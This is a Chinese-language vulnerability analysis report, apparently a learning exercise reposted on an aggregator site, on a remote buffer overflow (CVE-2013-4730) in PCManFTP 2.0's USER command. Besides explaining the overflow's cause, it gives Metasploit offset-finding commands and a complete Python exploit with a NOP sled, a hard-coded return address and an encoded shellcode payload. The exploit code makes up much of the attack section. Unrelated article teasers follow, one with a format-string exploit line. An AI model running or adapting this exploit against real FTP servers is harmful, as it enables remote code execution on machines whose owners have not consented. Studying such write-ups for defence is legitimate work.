PCManFTP v2.0(CVE-2013-4730)漏洞分析报告

news/2024/9/30 2:24:37/
PCManFTP v2.0(CVE-2013-4730)漏洞分析报告


软件名称:PCManFTP
软件版本:2.0
漏洞模块:PCManFTPD2.exe
模块版本:2.0.0.0
编译日期:2005-01-01 操作系统:Windows XP/2003/7/8.1/10
漏洞编号:CVE-2013-4730
危害等级:高危 
漏洞类型:缓冲区溢出
威胁类型:远程 










分析人:李嘉诚
2017年7月10日
目录
1. 软件简介 2
2. 漏洞成因 2
3. 利用过程 2
4. PoC 2
5. 结语 2
6. 参考资料 3










































1. 软件简介
PCMan's FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。
……
2. 漏洞成因
PCMan’s FTP Server 2.0.0版本中存在远程的缓冲区溢出漏洞。软件在接受数据包时申请了0x1004的缓冲区,每个数据包的最大为0x1000(4kb),并将接受到的数据作为字符串进行处理,并将字符串以”/r/n”作为每条指令的分割符,所以一条指令的最大长度可以达到0x1000(4kb)。但在解析指令时,使用函数sprintf进行对指令连接字符串的操作,连接字符串的缓冲区为0x800,并且没有对指令长度进行判断,导致存在栈溢出漏洞
远程攻击者可借助USER命令,不进行登录,利用该漏洞执行任意代码。

     


 
3. 利用过程
1. 使用python编写模拟ftp客户端登录脚本
#coding=utf-8
import socket
address = ('192.168.176.1', 21)
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.connect(address)
print(sockfd.recv(0x400).decode('utf-8'))
buff = b'USER ' ;
with open('user.dat', 'rb') as fp:
buff += fp.read() ;
sockfd.send(buff)
print(sockfd.recv(0x400).decode('utf-8'))


2. 利用模糊测试框架生成输入,并构造USER指令
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2600 > user.dat
3. 测试,根据软件崩溃时的异常偏移定位溢出点
 root@kali:~/vulne/cve-2013-4730#  /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2600 -q 0x376f4336
[*] Exact match at offset 2000


4. 在程序中查找稳定的跳板指令
 
5. 调试,确定参数个数
6. 编写exploit
#coding=utf-8
import socket
import struct


print("%s:%d"%('192.168.176.1' , 21))
address = ('192.168.176.1', 21)
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.connect(address) 
print(sockfd.recv(0x400).decode('utf-8'))
buff = b'USER ' 
buff += b'\x90'*2000 
buff += struct.pack("<I", 0x7095A6C7) #ret_address
buff += b'\xcc\xcc\xcc\xcc' #paramter
#shellCode
buff+=b"\xE8\xFF\xFF\xFF\xFF\xC3\x58\xFC\x8D\x70\x17\x8B\xFE\x99\xB2\x1B\x33\xC9\x66\xB9\xB8\x01\xAC\x32\xC2\xAA\xE2\xFA"
buff += b"\x98\xf7\x64\x98\xf7\x64\x98\xf7\x64\x98\xff\xe7\x96\x67\x3f\x5b"
buff+=b"\xf0\x3b\x9c\x29\xc3\xdb\xd2\xa7\xbd\x70\x78\x92\xca\x54\x26\x71"
buff += b"\xaf\x9b\x36\x29\x63\xc5\x7f\x0b\xbc\xc6\x17\x84\xc8\x50\xaa\x05"
buff += b"\x8c\x1a\xf3\xe4\xe4\xe4\xe4\xd8\x41\x98\xf1\x3e\x28\xdb\x7f\x90"
buff+=b"\x5b\x2b\x90\x5b\x17\x90\x5b\x07\x98\xf3\x1a\x90\x5b\x1a\x90\x43"
buff+=b"\x13\x90\x58\x27\x18\xd8\x90\x5b\x63\x18\xd8\x90\x53\x07\x18\xd0"
buff+=b"\x4a\x90\x53\x3f\x18\xd0\x4a\x90\x5b\x3b\x18\xd8\x28\xd2\x4b\x49"
buff += b"\x82\x90\x2f\x93\x18\xe8\x89\x82\x49\xda\xf9\x02\xda\x37\x3f\x1c"
buff += b"\x12\x0f\x3f\x41\x18\xcb\xb7\x9f\xdb\x6e\xf6\x43\x20\x0b\x89\x43"
buff += b"\x6f\x18\x5a\xf0\xc2\x43\x7d\x90\x17\x53\x14\xac\xd2\x43\x90\x1f"
buff+= b"\x93\x18\xd8\xb0\x98\xd9\x1f\x9a\x21\xd2\xa7\xbd\x70\x6f\x08\x9a"
buff += b"\x21\x26\x71\xaf\x9b\x6f\x36\x9a\x61\xe7\xaa\x05\x8c\x1a\x6f\x5e"
buff+=b"\xf0\x94\x49\x82\x49\xa3\x7e\x77\x28\x29\x4b\xa3\x70\x7e\x69\x75"
buff+= b"\x4b\x90\xdf\x49\x49\x4b\xe4\x4c\xe7\x42\x42\x42\x41\x90\xc3\xf2"
buff+=b"\x76\xe4\xe4\xe4\x49\x82\x89\x82\x7d\xa3\x28\x29\x4b\xa3\x6c\x68"
buff+= b"\x29\x44\x4b\x90\xdf\x49\x49\x4b\xe4\x4c\xef\x42\x42\x41\x90\xc3"
buff+=b"\xf2\x57\xe4\xe4\xe4\x82\x89\x8a\xaa\x0b\x8c\x88\x82\x89\x90\xe7"
buff+= b"\xe8\xb0\x4f\x7d\xa2\x19\x19\x4a\xe4\x48\xf7\x42\x42\x42\x42\x71"
buff+=b"\x1d\x71\x1a\x71\x19\xe4\x48\xeb\x8c\x82\x7d\xa1\x12\x06\xda\xf9"
buff+= b"\x0b\xa9\x19\x49\x90\xdf\x71\x0b\x4b\x4c\xe4\x48\xef\x42\x42\x71"
buff+=b"\x0b\x4c\xe4\x48\xe3\x4c\xe4\x48\xe7\x82\x4b\x4b\x4b\x49\x49\xa9"
buff+= b"\x0b\xda\xf9\x1f\x49\x82\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buff += b"\x71\x5f\x90\xdf\x7d\xa1\x76\x7f\xda\xf9\x13\xa9\x78\x49\x90\xd7"
buff+= b"\x4f\x4b\x82\x49\x49\xa9\x13\xda\xf9\x03\x49\x49\x82\x49\x49\x4a"
buff += b"\x49\xe4\x48\xff\x82\x49\xe4\x48\xf3\x1b"


print("send len:%d"%sockfd.send(buff)) 
print(sockfd.recv(0x400).decode('utf-8'))
4. PoC
程序中存在远程缓冲区溢出,并且没有使用GS栈安全检查,DEP数据执行保护,所以导致高危漏洞的存在
5. 结语
通过此次漏洞挖据到利用,认识到在分析的过程中思维要更加的灵活起来,工具要活用起来,逆向分析的能力还有待提高
6. 参考资料
任老师的精彩讲述

http://www.ppmy.cn/news/177530.html

相关文章

【Python】torrentParser1.01

在昨天的版本上做了一些改进,如增加getAll,修改getSingleFileName等 代码: #------------------------------------------------------------------------------------ # torrentParser1.01,用于解析torrent文件 # 2018年5月9日 #----------------------------------------…

Python学习笔记--day09 函数 模块 (文件、路径操作)

第二模块 函数&模块 第一模块主要是学习python基础知识&#xff0c;从第二模块开始就可以通过程序去解决工作中实际的问题。 函数&#xff0c;一个用于专门实现某个功能的代码块&#xff08;可重用&#xff09;。 内置函数 len、bin、oct、heX等自定义函数 def send_email…

python使用requests获取内容编码后仍然乱码:c\x00\xa0a\x00@6s\xd6\x1b\x1f\x7f\xd5\x07\x14\x17\x17C\x07\x88\xaa

使用requests代理获取某个网站内容时&#xff0c;一直乱码&#xff0c;源代码是这样的&#xff1a; headers: "headers": {"accept": "text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application…

java.sql.SQLException: Incorrect string value: '\xE6\x88\x91\xE7\x9A\x84...' for column ...

重装mysql后&#xff0c;用Java程序往mysql中写数据&#xff0c;出现如下错误&#xff1a; java.sql.SQLException: Incorrect string value: \xE6\x88\x91\xE7\x9A\x84... for column title at row 1 解决方案&#xff1a; 原程序中向数据库中创建表的操作&#xff0c;语句如…

seedlab 软件安全

TASK1 获取shell&#xff0c;括号里为覆盖地址&#xff0c;右边%n的使用参见参考链接&#xff1a; sudo sysctl -w kernel.randomize_va_space01.3 echo $(printf "\x54\xed\xff\xbf\x55\xed\xff\xbf\x56\xed\xff\xbf\x57\xed\xff\xbf").%.84x.%9\$hhn%.16x.%7\$h…

各种转码(bytes、string、base64、numpy array、io、BufferedReader )

# 将字节流转ndarray import io import struct import cv2 import numpy as np a b\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\xa0\x00\x00\x00\xa0\x08\x02\x00\x00\x00\x04\xad\xf0z\x00\x00\x91[IDATx\x9cd\xfdi\x93,K\x93\x1e\x86\xf9\x16\x91YKw\x9fs\xee\xfen\x9…

PCManFTP v2.0(CVE-2013-4730)漏洞分析

1. 软件简介 PCMans FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。 2. 漏洞成因 PCMans FTP Server 2.0.0版本中存在缓冲区溢出漏洞。 该软件由于未能有效处理FTP命令的长度字符(最大0x1000)&#xff0c;进而在调用字符串拷贝函数…

基于Python的文件操作之第1课读文件

学习目标 掌握基于python对文件相关操作 每种格式包含很多相关操作&#xff0c;学习只要掌握知识点的用法&#xff0c;参考笔记可以实现相关的练习即可&#xff0c;不必背会&#xff0c;在企业开发过程中边搜实现。 学习内容 了解python函数和模块文件操作&#xff1a;读文件&…